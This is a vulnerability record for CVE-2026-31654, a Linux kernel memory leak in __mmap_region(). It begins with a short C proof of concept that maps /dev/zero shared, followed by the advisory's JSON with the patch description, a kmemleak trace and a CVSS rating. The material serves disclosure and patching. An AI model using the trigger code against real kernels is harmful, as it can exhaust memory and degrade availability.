CVE-2026-31654

#include <sys/mman.h> #include <fcntl.h> #include <stdio.h> #include <unistd.h> // PoC for CVE-2026-31654 // This code attempts to trigger the memory leak by mapping /dev/zero. // Reliable reproduction requires fault injection (e.g., failslab) to force // __mmap_new_vma to fail after the shmem file is allocated. int main() { int fd; void *addr; fd = open("/dev/zero", O_RDWR); if (fd < 0) { perror("open /dev/zero"); return 1; } // Trigger the vulnerable path: MAP_SHARED on /dev/zero addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (addr == MAP_FAILED) { // Failure is expected under fault injection conditions perror("mmap failed"); } else { munmap(addr, 4096); } close(fd); return 0; }

{"cve": {"id": "CVE-2026-31654", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:44.890", "lastModified": "2026-04-27T20:16:27.600", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/vma: fix memory leak in __mmap_region()\n\ncommit 605f6586ecf7 (\"mm/vma: do not leak memory when .mmap_prepare\nswaps the file\") handled the success path by skipping get_file() via\nfile_doesnt_need_get, but missed the error path.\n\nWhen /dev/zero is mmap'd with MAP_SHARED, mmap_zero_prepare() calls\nshmem_zero_setup_desc() which allocates a new shmem file to back the\nmapping. If __mmap_new_vma() subsequently fails, this replacement\nfile is never fput()'d - the original is released by\nksys_mmap_pgoff(), but nobody releases the new one.\n\nAdd fput() for the swapped file in the error path.\n\nReproducible with fault injection.\n\nFAULT_INJECTION: forcing a failure.\nname failslab, interval 1, probability 0, space 0, times 1\nCPU: 2 UID: 0 PID: 366 Comm: syz.7.14 Not tainted 7.0.0-rc6 #2 PREEMPT(full)\nHardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\nCall Trace:\n <TASK>\n dump_stack_lvl+0x164/0x1f0\n should_fail_ex+0x525/0x650\n should_failslab+0xdf/0x140\n kmem_cache_alloc_noprof+0x78/0x630\n vm_area_alloc+0x24/0x160\n __mmap_region+0xf6b/0x2660\n mmap_region+0x2eb/0x3a0\n do_mmap+0xc79/0x1240\n vm_mmap_pgoff+0x252/0x4c0\n ksys_mmap_pgoff+0xf8/0x120\n __x64_sys_mmap+0x12a/0x190\n do_syscall_64+0xa9/0x580\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n </TASK>\n\nkmemleak: 1 new suspected memory leaks (see /sys/kernel/debug/kmemleak)\nBUG: memory leak\nunreferenced object 0xffff8881118aca80 (size 360):\n comm \"syz.7.14\", pid 366, jiffies 4294913255\n hex dump (first 32 bytes):\n 00 00 00 00 ad 4e ad de ff ff ff ff 00 00 00 00 .....N..........\n ff ff ff ff ff ff ff ff c0 28 4d ae ff ff ff ff .........(M.....\n backtrace (crc db0f53bc):\n kmem_cache_alloc_noprof+0x3ab/0x630\n alloc_empty_file+0x5a/0x1e0\n alloc_file_pseudo+0x135/0x220\n __shmem_file_setup+0x274/0x420\n shmem_zero_setup_desc+0x9c/0x170\n mmap_zero_prepare+0x123/0x140\n __mmap_region+0xdda/0x2660\n mmap_region+0x2eb/0x3a0\n do_mmap+0xc79/0x1240\n vm_mmap_pgoff+0x252/0x4c0\n ksys_mmap_pgoff+0xf8/0x120\n __x64_sys_mmap+0x12a/0x190\n do_syscall_64+0xa9/0x580\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\nFound by syzkaller."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19.1", "versionEndExcluding": "6.19.13", "matchCriteriaId": "81C784D8-FFE0-423D-9B8B-CA906B4037AC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:-:*:*:*:*:*:*", "matchCriteriaId": "35C8A871-4971-433E-A046-FC9F7B7D190A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/61fc8eaf2ab214b32c7bce52597c80cf0ca41ada", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/894f99eb535edc4514f756818f3c4f688ba53a59", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}